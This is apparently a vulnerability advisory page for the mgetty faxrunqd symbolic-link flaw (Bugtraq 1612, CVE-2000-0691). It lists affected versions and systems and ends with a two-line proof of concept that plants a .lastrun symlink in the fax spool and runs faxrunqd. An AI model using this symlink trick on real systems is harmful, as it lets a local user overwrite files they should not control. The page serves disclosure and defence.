Multiple Vendor mgetty Symbolic Link Traversal Vulnerability

BID:1612

Info

Multiple Vendor mgetty Symbolic Link Traversal Vulnerability

Bugtraq ID: 1612
Class: Unknown
CVE: CVE-2000-0691
Remote: No
Local: Yes
Published: Aug 25 2000 12:00AM
Updated: Jul 11 2009 02:56AM
Credit: This vulnerability was posted to the Bugtraq mailing list on August 25, 2000 by Stan Bubrouski<[email protected]>
Vulnerable: Gert Doering mgetty 1.22.8
- Caldera OpenLinux Desktop 2.3
- Caldera OpenLinux eBuilder 3.0
- FreeBSD FreeBSD 5.0
- FreeBSD FreeBSD 4.0
+ Mandriva Linux Mandrake 7.2
+ Mandriva Linux Mandrake 7.1
+ Mandriva Linux Mandrake 7.0
+ Mandriva Linux Mandrake 6.1
+ Mandriva Linux Mandrake 6.0
- OpenBSD OpenBSD 2.7
+ Redhat Linux 6.2 E sparc
+ Redhat Linux 6.2 E i386
+ Redhat Linux 6.2 E alpha
+ Redhat Linux 6.2 sparc
+ Redhat Linux 6.2 i386
+ Redhat Linux 6.2 alpha
+ Redhat Linux 6.1 sparc
+ Redhat Linux 6.1 i386
+ Redhat Linux 6.1 alpha
+ Redhat Linux 6.0 sparc
+ Redhat Linux 6.0 alpha
+ Redhat Linux 6.0
- SCO eDesktop 2.4
- SCO eServer 2.3
+ Turbolinux Turbolinux 6.0.4
+ Turbolinux Turbolinux 6.0.3
+ Turbolinux Turbolinux 6.0.2
+ Turbolinux Turbolinux 6.0.1
Gert Doering mgetty 1.1.21
- Caldera OpenLinux Desktop 2.3
- Caldera OpenLinux eBuilder 3.0
- FreeBSD FreeBSD 5.0
- FreeBSD FreeBSD 4.0
+ Mandriva Linux Mandrake 7.1
+ Mandriva Linux Mandrake 7.0
+ Mandriva Linux Mandrake 6.1
+ Mandriva Linux Mandrake 6.0
- OpenBSD OpenBSD 2.7
+ Redhat Linux 6.2 E sparc
+ Redhat Linux 6.2 E i386
+ Redhat Linux 6.2 E alpha
+ Redhat Linux 6.2 sparc
+ Redhat Linux 6.2 i386
+ Redhat Linux 6.2 alpha
+ Redhat Linux 6.1 sparc
+ Redhat Linux 6.1 i386
+ Redhat Linux 6.1 alpha
+ Redhat Linux 6.0 sparc
+ Redhat Linux 6.0 alpha
+ Redhat Linux 6.0
- SCO eDesktop 2.4
- SCO eServer 2.3
+ Turbolinux Turbolinux 6.0.4
+ Turbolinux Turbolinux 6.0.3
+ Turbolinux Turbolinux 6.0.2
+ Turbolinux Turbolinux 6.0.1
Gert Doering mgetty 1.1.20
- Caldera OpenLinux Desktop 2.3
- Caldera OpenLinux eBuilder 3.0
- FreeBSD FreeBSD 5.0
- FreeBSD FreeBSD 4.0
+ Mandriva Linux Mandrake 7.1
+ Mandriva Linux Mandrake 7.0
+ Mandriva Linux Mandrake 6.1
+ Mandriva Linux Mandrake 6.0
- OpenBSD OpenBSD 2.7
+ Redhat Linux 6.2 E sparc
+ Redhat Linux 6.2 E i386
+ Redhat Linux 6.2 E alpha
+ Redhat Linux 6.2 sparc
+ Redhat Linux 6.2 i386
+ Redhat Linux 6.2 alpha
+ Redhat Linux 6.1 sparc
+ Redhat Linux 6.1 i386
+ Redhat Linux 6.1 alpha
+ Redhat Linux 6.0 sparc
+ Redhat Linux 6.0 alpha
+ Redhat Linux 6.0
- SCO eDesktop 2.4
- SCO eServer 2.3
+ Turbolinux Turbolinux 6.0.4
+ Turbolinux Turbolinux 6.0.3
+ Turbolinux Turbolinux 6.0.2
+ Turbolinux Turbolinux 6.0.1
Gert Doering mgetty 1.1.19
- Caldera OpenLinux Desktop 2.3
- Caldera OpenLinux eBuilder 3.0
- FreeBSD FreeBSD 5.0
- FreeBSD FreeBSD 4.0
- IBM AIX 4.3
- IBM AIX 4.2
- IBM AIX 4.1
+ Mandriva Linux Mandrake 7.1
+ Mandriva Linux Mandrake 7.0
+ Mandriva Linux Mandrake 6.1
+ Mandriva Linux Mandrake 6.0
- OpenBSD OpenBSD 2.7
+ Redhat Linux 6.2 E sparc
+ Redhat Linux 6.2 E i386
+ Redhat Linux 6.2 E alpha
+ Redhat Linux 6.2 sparc
+ Redhat Linux 6.2 i386
+ Redhat Linux 6.2 alpha
+ Redhat Linux 6.1 sparc
+ Redhat Linux 6.1 i386
+ Redhat Linux 6.1 alpha
+ Redhat Linux 6.0 sparc
+ Redhat Linux 6.0 alpha
+ Redhat Linux 6.0
- SCO eDesktop 2.4
- SCO eServer 2.3
- SCO Open Desktop 3.2 v4
- Sun Solaris 8_sparc
- Sun Solaris 7.0
- Sun Solaris 2.6
- Sun SunOS 4.1.4
- Sun SunOS 4.1.3
+ Turbolinux Turbolinux 6.0.4
+ Turbolinux Turbolinux 6.0.3
+ Turbolinux Turbolinux 6.0.2
+ Turbolinux Turbolinux 6.0.1
Not Vulnerable:

Exploit / POC

Multiple Vendor mgetty Symbolic Link Traversal Vulnerability

ln -s /TEST /var/spoo/fax/outgoing/.lastrun
faxrunqd -l ttyS0

References

Multiple Vendor mgetty Symbolic Link Traversal Vulnerability

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